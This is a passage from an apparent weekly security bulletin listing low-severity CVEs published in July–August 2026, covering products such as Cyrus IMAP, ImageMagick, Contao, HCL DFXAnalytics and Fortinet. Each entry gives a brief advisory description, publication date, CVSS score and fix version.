| Cozmoslabs--User Profile Picture | Authorization Bypass Through User-Controlled Key vulnerability in Cozmoslabs User Profile Picture metronet-profile-picture allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects User Profile Picture: from n/a through <= 2.6.3.                                                                                                                                                                                                                                                                                                                                | 2026-07-13 | 2.7        | <a href="#">CVE-2026-61971</a> |
| cyrusimap--Cyrus IMAP            | An issue was discovered in cyrus-imapd in Cyrus IMAP through 3.12.2. There is an XAPPLEPUSHSERVICE folder existence oracle and push hijack. An authenticated IMAP user could probe for the existence of arbitrary mailboxes on other users' accounts via the XAPPLEPUSHSERVICE command and then create Apple Push Notification Service notifications for new mail in those mailboxes to their own APNS device. This did not leak any data about the content of mailboxes. Instead, a "mailbox has changed" notice would be pushed when the mailbox modseq changed.                                    | 2026-07-16 | 3.1        | <a href="#">CVE-2026-47081</a> |
| cyrusimap--Cyrus IMAP            | An issue was discovered in cyrus-imapd in Cyrus IMAP through 3.12.2. GENURLAUTH-issued tokens can bypass ACLs. Any authenticated user could mint a URLAUTH token (via the GENURLAUTH command) for any mailbox they could name, even without read access on it. This would allow reading mail from mailboxes despite having no granted permissions.                                                                                                                                                                                                                                                    | 2026-07-16 | 3.5        | <a href="#">CVE-2026-47086</a> |
| cyrusimap--Cyrus IMAP            | An issue was discovered in cyrus-imapd in Cyrus IMAP through 3.12.2. URLAUTH does not honor revoked authorizer access. A URLAUTH URL minted while the authorizer had access continued to work after that access was revoked.                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-16 | 3.5        | <a href="#">CVE-2026-47087</a> |
| cyrusimap--Cyrus IMAP            | An issue was discovered in cyrus-imapd in Cyrus IMAP through 3.12.2. There is heap exposure in nested MIME comment parsing. An authenticated IMAP user could craft an email message containing an RFC 822 comment ending with a backslash. When parsing the message, the server would read past the message's end in memory, and read into the heap, returning the read content to the user.                                                                                                                                                                                                          | 2026-07-16 | 3.1        | <a href="#">CVE-2026-47088</a> |
| dbt-labs--dbt-mcp                | dbt-mcp is a Model Context Protocol server for interacting with dbt. Prior to 1.17.1, DefaultUsageTracker.emit_tool_called_event() in src/dbt_mcp/tracking/tracking.py serialized every MCP tool call's complete arguments dictionary and sent it through dbtlabs_vortex.producer.log_proto without redaction, including sql_query from show, vars from run, build, and test, and node_selection from compile, while usage_tracking_enabled in settings.py enabled telemetry by default unless DBT_SEND_ANONYMOUS_USAGE_STATS=false or DO_NOT_TRACK=1 was set. This issue is fixed in version 1.17.1. | 2026-07-16 | 3.1        | <a href="#">CVE-2026-44970</a> |
| dbt-labs--dbt-mcp                | dbt-mcp is a Model Context Protocol server for interacting with dbt. Prior to 1.17.1, DbtMCP.call_tool() in src/dbt_mcp/mcp/server.py logged the raw arguments dictionary at INFO level before each tool call and at ERROR level on exceptions, and configure_file_logging() wrote those records to dbt-mcp.log when DBT_MCP_SERVER_FILE_LOGGING=true, preserving sensitive sql_query, vars, and node_selection values in plaintext without automatic rotation or deletion. This issue is fixed in version 1.17.1.                                                                                    | 2026-07-16 | 2.5        | <a href="#">CVE-2026-44969</a> |
| django-tastypie--django-tastypie | A vulnerability was detected in django-tastypie up to 0.15.1. Impacted is the function ApiKeyAuthentication of the file tastypie/authentication.py. The manipulation results in use of get request method with sensitive query strings. The attack can be launched remotely. This attack is characterized by high complexity. The exploitability is considered difficult. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                            | 2026-07-19 | 3.7        | <a href="#">CVE-2026-16207</a> |
| F5--NGINX Plus                   | When NGINX Plus is configured to use the Message Queuing Telemetry Transport (MQTT) filter module (ngx_stream_mqtt_filter_module), unauthenticated attackers can send requests with conditions beyond the attacker's control to cause a heap buffer over-read in the NGINX worker process, leading to a restart. Impact:                                                                                                                                                                                                                                                                              | 2026-07-15 | 3.7        | <a href="#">CVE-2026-60065</a> |

# Low Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                    | This vulnerability may allow remote unauthenticated attackers to have limited control to restart the NGINX worker process. There is no control plane exposure; this is a data plane issue only. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.                                                                                                                                                                                                                                                                                                                                                                                                         |            |            |                                |
| Fantomas42--<br>django-blog-zinnia | A security flaw has been discovered in Fantomas42 django-blog-zinnia up to 0.20. Affected by this vulnerability is an unknown functionality of the file zinnia/views/mixins/entry_protection.py of the component Protected Entry Password Handler. The manipulation results in cleartext storage of sensitive information. The attack needs to be approached locally. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                | 2026-07-19 | 3.3        | <a href="#">CVE-2026-16213</a> |
| feathersjs--<br>feathers           | Feathersjs is a framework for creating web APIs and real-time applications with TypeScript or JavaScript. In 5.0.44 and earlier, the _.merge(target, source) utility exported by @feathersjs/commons recursively merges source into target by iterating Object.keys(source). When source was produced by JSON.parse and contains a __proto__, constructor, or prototype key, that key is returned as an own-enumerable property; the recursive merge then resolves target['__proto__'] to Object.prototype and writes attacker-supplied properties onto it, polluting the prototype for all plain objects in the process for the lifetime of the Node process. This issue is fixed in version 5.0.45. | 2026-07-17 | 3.7        | <a href="#">CVE-2026-54335</a> |
| filebrowser--<br>filebrowser       | File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.17, File Browser can leave a public directory share behind when the shared directory is deleted through a path with a trailing slash because the share cleanup path calls DeleteWithPathPrefix(file.Path, userID) and the Bolt backend performs the database prefix query with the unnormalized path before trimming the slash for boundary checks, so deleting /a/ does not delete the stored /a share and the stale public share exposes future content if the same path is recreated. This issue is fixed in version 2.63.17.               | 2026-07-15 | 3.1        | <a href="#">CVE-2026-62683</a> |
| Fortinet--FortiOS                  | An Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') vulnerability [CWE-113] vulnerability in Fortinet FortiOS 7.6.0 through 7.6.4, FortiOS 7.4 all versions, FortiOS 7.2 all versions, FortiProxy 7.6.0 through 7.6.4, FortiProxy 7.4 all versions, FortiProxy 7.2 all versions may allow an attacker in possession of a valid web filter override token to inject arbitrary headers via tricking a user into clicking on a crafted link.                                                                                                                                                                                                                        | 2026-07-14 | 3.4        | <a href="#">CVE-2025-62675</a> |
| Fortinet--FortiPAM                 | An Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') vulnerability [CWE-113] vulnerability in Fortinet FortiOS 7.6.0 through 7.6.4, FortiOS 7.4 all versions, FortiOS 7.2 all versions, FortiProxy 7.6.0 through 7.6.4, FortiProxy 7.4 all versions, FortiProxy 7.2 all versions may allow an attacker able to intercept and modify a user's captive portal authentication request to inject arbitrary headers via crafted HTTP requests.                                                                                                                                                                                                                         | 2026-07-14 | 3.1        | <a href="#">CVE-2025-62826</a> |
| HCL Software--<br>DFXAnalytics     | HCL DFXAnalytics is affected by a Missing Secure Attribute in Encrypted Session (SSL) Cookie vulnerability. The application fails to set the "secure" attribute on session cookies generated during authentication, which could allow a remote attacker to intercept network traffic and capture sensitive cookies, session tokens, or credentials sent in cleartext over unencrypted channels.                                                                                                                                                                                                                                                                                                       | 2026-07-16 | 3          | <a href="#">CVE-2026-35140</a> |
| HCL Software--<br>DFXAnalytics     | HCL DFXAnalytics is affected by a Missing SameSite Attribute vulnerability. The application fails to set the "SameSite" attribute on session cookies generated during authentication, which could allow a remote attacker to execute Cross-Site Request Forgery (CSRF) attacks if additional mitigations, such as Anti-CSRF tokens, are not implemented.                                                                                                                                                                                                                                                                                                                                              | 2026-07-16 | 3          | <a href="#">CVE-2026-35143</a> |
| HCL Software--<br>DFXAnalytics     | HCL DFXAnalytics is affected by a Missing HTTP Strict-Transport-Security Header vulnerability. The application fails to implement the HTTP Strict Transport Security (HSTS) policy within its responses, which could allow a remote attacker to                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-16 | 3.1        | <a href="#">CVE-2026-35145</a> |

# Low Vulnerabilities

| Primary Vendor -- Product        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                  | downgrade the communication channel to an unencrypted connection (HTTP) and conduct man-in-the-middle (MitM) attacks. To remediate this, the application must include the "Strict-Transport-Security" header in all web application responses.                                                                                                                                                                                                                                                    |            |            |                                |
| HCL Software--DFXAnalytics       | HCL DFXAnalytics is affected by a Login Replay Attack vulnerability. The application allows a remote attacker to intercept, delay, or fraudulently retransmit valid authentication data to achieve unauthorized access. To mitigate this risk, the application must implement a mechanism to include timestamps with every message, ensuring that messages exceeding a specific age threshold are automatically rejected by the recipient system.                                                 | 2026-07-16 | 2.6        | <a href="#">CVE-2026-35141</a> |
| HCL Software--DFXAnalytics       | HCL DFXAnalytics is affected by an Internal IP Address Disclosure vulnerability. The application includes internal IP address details within its generated server responses, which could allow a remote attacker to gather sensitive network topology information and use it to map the internal infrastructure for further targeted attacks.                                                                                                                                                     | 2026-07-16 | 2.6        | <a href="#">CVE-2026-35142</a> |
| HCLSoftware--Aftermarket EPC     | HCL Aftermarket EPC is vulnerable to attack since the Application is vulnerable to Lucky 13. that makes the SS LLUCKY13 possible affects the TLS1.1and 1.2 and DTLS1.0 or 1.2 implementations . It also affects previous versions such as SSL3.0 and TLS1.0. This can also be considered a type of man-in-the-middle attack.                                                                                                                                                                      | 2026-07-17 | 3.7        | <a href="#">CVE-2024-23573</a> |
| HCLSoftware--DevOps Loop         | HCL DevOps Loop is affected by missing HTTP security headers. Missing security headers may reduce browser protections against common web-based attacks such as clickjacking, MIME-type sniffing, and cross-site scripting.                                                                                                                                                                                                                                                                        | 2026-07-17 | 3.7        | <a href="#">CVE-2026-21762</a> |
| HCLSoftware--DevOps Loop         | HCL DevOps Loop is affected by insufficient input validation that allows special characters where they should be restricted. This may result in unintended application behavior under certain conditions.                                                                                                                                                                                                                                                                                         | 2026-07-17 | 3.1        | <a href="#">CVE-2026-21764</a> |
| HCLSoftware--DFMPro for CATIA    | The HCL DFMPPro, DFXAnalytics and DFXServer installers are affected by 'Insecure file permissions Leading to Privilege Escalation' vulnerability, which enables any logged-in non-administrative user to overwrite or replace the executable file with a malicious binary.                                                                                                                                                                                                                        | 2026-07-17 | 3.3        | <a href="#">CVE-2025-59866</a> |
| HCLSoftware--HCL BigFix Platform | HCL BigFix Platform is affected by a user enumeration vulnerability which might allow an attacker, through careful system control and response time monitoring, to perform some level of user enumeration for the BigFix service.                                                                                                                                                                                                                                                                 | 2026-07-14 | 3.1        | <a href="#">CVE-2026-21840</a> |
| Hono--Hono                       | Hono before 4.11.10 contains a timing attack vulnerability in the basicAuth and bearerAuth middlewares due to non-constant-time string comparison in the timingSafeEqual function. Attackers can exploit early termination of string equality checks to infer valid credentials through precise timing measurements.                                                                                                                                                                              | 2026-07-15 | 3.7        | <a href="#">CVE-2026-56764</a> |
| hunvreus--devpush                | A vulnerability was detected in hunvreus devpush up to 0.4.6. Affected by this issue is the function reset_storage of the file app/workers/tasks/storage.py of the component Storage Reset Failure Handler. The manipulation results in improper check or handling of exceptional conditions. A high complexity level is associated with this attack. The exploitation is known to be difficult. The project was informed of the problem early through an issue report but has not responded yet. | 2026-07-19 | 2.6        | <a href="#">CVE-2026-16218</a> |
| IBM--PowerVM Novalink            | IBM PowerVM Novalink 2.2.02.2.12.2.1.1, and 2.3.02.3.0.12.3.12.3.2 IBM NovaLink APIs misconfiguration may increase attack surface and enable unintended or unauthorized operations under non-default conditions.                                                                                                                                                                                                                                                                                  | 2026-07-17 | 3.9        | <a href="#">CVE-2026-14971</a> |
| IBM--Verify Identity Access      | IBM Verify Identity Access 11.0 through 11.0.2 and IBM Security Verify Access 10.0 through 10.0.9.1 and IBM Verify Identity Access Container 11.0 through 11.0.2 and IBM Security Verify Access Container 10.0 through 10.0.9.1 could allow a remote attacker to conduct phishing attacks, caused by an open redirect vulnerability. An attacker could exploit this vulnerability using a specially crafted request to redirect a victim to arbitrary Web sites.                                  | 2026-07-17 | 3.1        | <a href="#">CVE-2026-7364</a>  |



# Low Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| ImageMagick--ImageMagick  | ImageMagick through 7.1.2-18 contains a memory leak vulnerability in the ASHLAR coder when an action fails. Attackers can trigger failed actions to exhaust memory resources and cause denial of service.                                                                                                                             | 2026-07-15 | 3.3        | <a href="#">CVE-2026-56375</a> |
| ImageMagick--ImageMagick  | ImageMagick before 7.1.2-26 and 6.9.13-x before 6.9.13-51 contains a policy bypass vulnerability in the -script operation due to missing security policy checks. This allows reading files from paths that are otherwise disallowed by the configured security policy.                                                                | 2026-07-15 | 3.3        | <a href="#">CVE-2026-61859</a> |
| ImageMagick--ImageMagick  | ImageMagick before 7.1.2-26 and 6.9.13-51 contains a use-after-free vulnerability that occurs when freetype initialization fails: the method does not exit and continues to use memory that was already freed. This can be triggered during image processing and may lead to a denial of service.                                     | 2026-07-15 | 3.7        | <a href="#">CVE-2026-61860</a> |
| ImageMagick--ImageMagick  | ImageMagick before 7.1.2-26 and 6.9.x before 6.9.13-51 contains a memory leak in the YUV decoder that occurs when opening of the blob fails. Repeated triggering can lead to resource exhaustion (denial of service).                                                                                                                 | 2026-07-15 | 3.7        | <a href="#">CVE-2026-61868</a> |
| ImageMagick--ImageMagick  | ImageMagick before 7.1.2-26 and 6.9.13-51 contains a memory leak in the ICON decoder that occurs when a memory allocation fails. Processing a crafted ICON file that triggers an allocation failure leaks memory, which may lead to a denial of service.                                                                              | 2026-07-15 | 3.7        | <a href="#">CVE-2026-61871</a> |
| ImageMagick--ImageMagick  | ImageMagick before 7.1.2-26 and 6.9.13-51 contains an information disclosure vulnerability: when a profile is displayed with the identify command and the profile value is not printable, a single byte at the end of the profile can be printed (read past the profile boundary). This behavior occurs when debug output is enabled. | 2026-07-15 | 2.9        | <a href="#">CVE-2026-61862</a> |
| ImageMagick--ImageMagick  | ImageMagick before 7.1.2-26 (and 6.x before 6.9.13-51) contains a memory leak in the TIFF encoder that occurs when a temporary file cannot be created, resulting in a small memory leak.                                                                                                                                              | 2026-07-15 | 2.9        | <a href="#">CVE-2026-61863</a> |
| ImageMagick--ImageMagick  | ImageMagick before 7.1.2-26 and 6.9.13-51 contains a memory leak in color transformation to the log colorspace: when the operation fails, a small amount of memory is not released.                                                                                                                                                   | 2026-07-15 | 2.9        | <a href="#">CVE-2026-61864</a> |
| ImageMagick--ImageMagick  | ImageMagick before 7.1.2-26 and 6.9.13-51 contains a memory leak in the hough lines operation: when a specific operation fails, a small memory leak occurs.                                                                                                                                                                           | 2026-07-15 | 2.9        | <a href="#">CVE-2026-61865</a> |
| ImageMagick--ImageMagick  | ImageMagick before 7.1.2-26 contains a memory leak vulnerability in the JNG encoder when a blob cannot be opened. Attackers can trigger the memory leak by providing malformed JNG files that fail blob operations, causing resource exhaustion.                                                                                      | 2026-07-15 | 2.9        | <a href="#">CVE-2026-61866</a> |
| ImageMagick--ImageMagick  | ImageMagick before 7.1.2-26 contains a memory leak vulnerability in the TIFF encoder when memory allocation fails. Attackers can trigger allocation failures during TIFF image processing to cause memory exhaustion and denial of service.                                                                                           | 2026-07-15 | 2.9        | <a href="#">CVE-2026-61867</a> |
| ImageMagick--ImageMagick  | ImageMagick before 7.1.2-26 and 6.9.13-51 contains a memory leak in the MIFF encoder that occurs when a memory allocation fails during MIFF image processing, which can lead to denial of service.                                                                                                                                    | 2026-07-15 | 2.9        | <a href="#">CVE-2026-61869</a> |
| ImageMagick--ImageMagick  | ImageMagick before 7.1.2-26 and 6.9.13-51 contains a memory leak in the TIFF encoder when an invalid tiff:tile-geometry is specified. Supplying malformed tile geometry parameters causes allocated memory not to be released, which can lead to increased memory consumption.                                                        | 2026-07-15 | 2.5        | <a href="#">CVE-2026-61872</a> |
| ImageMagick--ImageMagick  | ImageMagick before 7.1.2-26 and 6.9.13-51 contains a heap-based buffer over-write vulnerability that occurs when running an X11 import with a crafted window title, which can result in heap memory corruption and denial of service.                                                                                                 | 2026-07-15 | 1.8        | <a href="#">CVE-2026-61464</a> |

# Low Vulnerabilities

| Primary Vendor -- Product             | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Kerlink--Kerlink Wirnet iStation      | Buffer Overflow vulnerability in Kerlink Kerlink Wirnet iStation 868 KerOS v.4.3.3_20200803132042 allows a remote attacker to obtain sensitive information via the update URLs component.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-16 | 3.5        | <a href="#">CVE-2024-32389</a> |
| lamaalrajih--kicad-mcp                | A vulnerability was found in lamaalrajih kicad-mcp up to 3.3.1. This issue affects some unknown processing of the file kicad_mcp/utils/path_validator.py. Performing a manipulation of the argument project_path/schematic_path results in protection mechanism failure. Attacking locally is a requirement. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-13 | 3.3        | <a href="#">CVE-2026-15528</a> |
| Mattermost--Mattermost                | Mattermost versions 11.7.x <= 11.7.2, 10.11.x <= 10.11.19 fail to sanitize team objects returned by the scheme teams endpoint, which allows a user with the User Manager role to obtain invite links for private teams and use them to join or share access to those teams via the scheme teams API endpoint.. Mattermost Advisory ID: MMSA-2026-00671                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-13 | 3.8        | <a href="#">CVE-2026-9820</a>  |
| Microsoft--Windows 10 Version 1607    | Exposure of sensitive information to an unauthorized actor in Windows Kernel allows an authorized attacker to disclose information locally.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-14 | 3.3        | <a href="#">CVE-2026-50419</a> |
| Microsoft--Windows 11 Version 24H2    | Exposure of sensitive information to an unauthorized actor in Windows Win32K allows an authorized attacker to disclose information locally.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-14 | 3.3        | <a href="#">CVE-2026-50416</a> |
| nvm-sh--nvm                           | Node Version Manager (nvm) is a POSIX-compliant shell function for managing multiple node.js versions. In versions 0.32.1 through 0.40.5, `nvm ls-remote` (and other commands that refresh remote LTS aliases, such as `nvm install --lts`) parse the node.js mirror's `index.tab` and use each release's LTS codename field as an alias filename without validating it. A malicious, compromised, or man-in-the-middle mirror can return an LTS codename containing path-traversal sequences such as `../../.bashrc`, causing nvm to write the associated version string to a path outside `\$NVM_DIR/alias`. With the default layout (`\$NVM_DIR` is `~/.nvm`), this can create or overwrite files in the user's home directory, including shell startup files, which can lead to code execution in a later shell session. Exploitation requires the victim to use a hostile mirror -- via a compromised mirror or CDN, a network man-in-the-middle, or a maliciously configured `NVM_NODEJS_ORG_MIRROR`/`NVM_IOJS_ORG_MIRROR` -- and to run an affected command. Version 0.40.6 validates remote LTS codenames as safe alias filenames and rejects `..` path components when writing alias files. | 2026-07-15 | 3.1        | <a href="#">CVE-2026-15921</a> |
| open62541--open62541                  | A vulnerability was identified in open62541 up to 1.5.5. Affected by this issue is the function responseReadNamespacesArray of the file src/client/ua_client_connect.c of the component Shared Client Library. Such manipulation of the argument Server_NamespaceArray leads to null pointer dereference. The attack can be executed remotely. The attack requires a high level of complexity. The exploitation is known to be difficult. The exploit is publicly available and might be used. The project closed the issue report, stating that this is not the official way to report a security vulnerability.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-14 | 3.1        | <a href="#">CVE-2026-15690</a> |
| Pluck--CMS                            | A weakness has been identified in Pluck CMS up to 4.7.21. This vulnerability affects the function htmlspecialchars_decode of the file data/modules/albums/albums.admin.php of the component Albums Module. Executing a manipulation of the argument Info can lead to cross site scripting. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-19 | 2.4        | <a href="#">CVE-2026-16205</a> |
| SAP_SE--SAP HANA Extended Application | SAP HANA Database (user self service tools) allows an unauthenticated user to send specially crafted requests that produce distinguishable responses, enabling enumeration of valid user accounts and email addresses. Successful exploitation                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-14 | 3.7        | <a href="#">CVE-2026-44753</a> |

# Low Vulnerabilities

| Primary Vendor -- Product                         | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Services classic model (User Self Service)        | could allow the attacker to enumerate valid user accounts, resulting in low impact on confidentiality, with no impact on integrity and availability of the application.                                                                                                                                                                                                                                                                                                                                                                    |            |            |                                |
| skylot--jadx                                      | jadx is a Dex to Java decompiler. Prior to 1.5.6, jadx-gui is affected by an HTML injection vulnerability in the Summary tab because SummaryNode.java appends arches and perArchCount values derived from .so file path components inside an APK into an HTML panel without escaping. A malicious APK with an HTML URL-encoded ZIP entry name can force rendering of arbitrary HTML, perform out-of-band requests, disclose the victim IP address, or interact with locally exposed applications. This issue is fixed in version 1.5.6.    | 2026-07-14 | 3.6        | <a href="#">CVE-2026-42447</a> |
| SourceCodester--Class and Exam Timetabling System | A vulnerability was identified in SourceCodester Class and Exam Timetabling System 1.0. Affected by this issue is some unknown functionality of the file /schoolr.php. The manipulation of the argument sy leads to cross site scripting. It is possible to initiate the attack remotely. The exploit is publicly available and might be used.                                                                                                                                                                                             | 2026-07-18 | 3.5        | <a href="#">CVE-2026-16155</a> |
| SourceCodester--Class and Exam Timetabling System | A security flaw has been discovered in SourceCodester Class and Exam Timetabling System 1.0. This affects an unknown part of the file /forexam.php. The manipulation of the argument day results in cross site scripting. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks.                                                                                                                                                                                           | 2026-07-18 | 3.5        | <a href="#">CVE-2026-16156</a> |
| SourceCodester--Class and Exam Timetabling System | A vulnerability was determined in SourceCodester Class and Exam Timetabling System 1.0. Affected by this vulnerability is an unknown functionality of the file /CYS.php. This manipulation of the argument course causes cross site scripting. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized.                                                                                                                                                                             | 2026-07-19 | 3.5        | <a href="#">CVE-2026-16202</a> |
| SourceCodester--Class and Exam Timetabling System | A vulnerability was identified in SourceCodester Class and Exam Timetabling System 1.0. Affected by this issue is some unknown functionality of the file /forCYS.php. Such manipulation of the argument course leads to cross site scripting. The attack may be performed from remote. The exploit is publicly available and might be used.                                                                                                                                                                                                | 2026-07-19 | 3.5        | <a href="#">CVE-2026-16203</a> |
| SourceCodester--Online Book Store System          | A vulnerability was identified in SourceCodester Online Book Store System 1.0. This issue affects some unknown processing of the component User Management Module. Such manipulation of the argument Name/Username leads to cross site scripting. The attack can be executed remotely. The exploit is publicly available and might be used.                                                                                                                                                                                                | 2026-07-13 | 2.4        | <a href="#">CVE-2026-15532</a> |
| statamic--cms                                     | Statamic is a Laravel and Git powered content management system (CMS). Prior to 5.74.0 and 6.20.3, the Live Preview endpoint for existing entries and terms in src/Http/Controllers/CP/PreviewController.php only checked view authorization, but it accepts and renders caller-supplied field values. A Control Panel user with view but not edit permission could therefore submit content they were not authorized to author and generate a shareable Live Preview URL rendering it. This issue is fixed in versions 5.74.0 and 6.20.3. | 2026-07-17 | 3.5        | <a href="#">CVE-2026-54244</a> |
| wandb--wandb                                      | A security vulnerability has been detected in wandb 0.25.2.dev1. Affected is the function ArtifactManifestEntry.download in the library wandb/sdk/lib/hashutil.py of the component Artifact Integrity Validation. The manipulation leads to use of weak hash. The attack may be initiated remotely. A high degree of complexity is needed for the attack. The exploitability is told to be difficult. The pull request to fix this issue awaits acceptance.                                                                                | 2026-07-13 | 3.1        | <a href="#">CVE-2026-15605</a> |
| wao0AI--wao0wao0                                  | A vulnerability was found in wao0AI wao0wao0 up to 0.4.1. Impacted is the function stablePublicIdFromStorageKey in the library src/lib/media/hash.ts of the component Media Handler. The manipulation of the argument storageKey results in improper authorization. The attack may be performed from remote. The attack requires a high level of complexity. The exploitability is considered difficult. The                                                                                                                               | 2026-07-13 | 3.7        | <a href="#">CVE-2026-15594</a> |

# Low Vulnerabilities

| Primary Vendor -- Product                             | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                       | exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |            |            |                                |
| Apache Software Foundation--<br>Apache Traffic Server | The Apache Traffic Server multiplexer plugin overruns its chunk-decode buffer on upstream input, enabling denial of service. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-29 | 3.7        | <a href="#">CVE-2026-58187</a> |
| better-auth--<br>better-auth                          | better-auth versions before 1.6.11 fail to delete cached sessions when removing users via admin, anonymous, or SCIM endpoints when secondaryStorage is configured and storeSessionInDatabase is false. Attackers can reuse deleted user session tokens to maintain authentication for up to seven days after account deletion.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-08-01 | 3.8        | <a href="#">CVE-2026-67334</a> |
| contao--contao                                        | Contao is an Open Source CMS. In versions 5.7.0 through 5.7.6, an authenticated backend user who can access one job can request an attachment identifier containing ../ segments and make the job attachment download endpoint read a file from another job directory inside var/job-attachments. The controller authorizes only the jobUuid route parameter. The later attachment lookup joins that authorized job UUID with the attacker-controlled identifier, then passes the combined path to the virtual filesystem. VirtualFilesystem::resolve() canonicalizes the whole path and only rejects paths that escape the filesystem mount, so authorized-job/../../victim-job/debug_log.csv becomes victim-job/debug_log.csv. This is a cross-job authorization bypass for known job attachment paths. It is not a practical brute-force against unknown jobs because job directories are UUID v4 values.                                                                                                                                     | 2026-07-31 | 3.1        | <a href="#">CVE-2026-55825</a> |
| contao--contao                                        | Contao is an Open Source CMS. From 5.3.35 through 5.3.47 and from 5.7.0-RC1 through 5.7.8, the Feed Reader front-end module passes configured RSS feed URLs from FeedReaderController::getResponse() to feedlo->read() without scheme or private-address validation, allowing a backend user with module-edit permissions to make the server request internal network services, loopback addresses, or cloud metadata endpoints. In core-<br>bundle/src/Controller/FrontendModule/FeedReaderController.php, the getResponse() function iterates over the configured feed URLs and passes each one directly to the HTTP client (via \$this->feedlo->read(\$url, new Feed())) with no validation, while the DCA field definition for rss_feed in tl_module.php carries no URL scheme or host validation and the HTTP client is wired as @psr18.http_client (Symfony HttpClient) with no SSRF protection configured, since NoPrivateNetworkHttpClient is not used. This issue is fixed in versions 5.3.48.                                          | 2026-07-31 | 3.1        | <a href="#">CVE-2026-57232</a> |
| contao--contao                                        | Contao is an Open Source CMS. In versions 4.13.40 through 5.3.46 and 5.7.0-RC1 through 5.7.6, the crawler leaks auth credentials to external hosts. Contao's crawler tries to prevent confidential HTTP client options from being sent to external domains by creating a scoped client: full options for root page origins, cleaned options for everything else. The cleaner removes Cookie and Authorization headers, but it removes the non-Symfony option names basic_auth and bearer_auth instead of Symfony HttpClient's real auth_basic and auth_bearer options. When contao.crawl.default_http_client_options contains Basic or Bearer authentication for a protected staging/production site, those credentials remain in the "clean" client used for external links or configured additional URIs. An attacker who can get an external URL crawled, for example through a link on a crawled page while the broken-link checker is enabled, can receive the crawler credentials. This issue has been fixed in versions 5.3.47 and 5.7.7. | 2026-07-31 | 2.6        | <a href="#">CVE-2026-55824</a> |
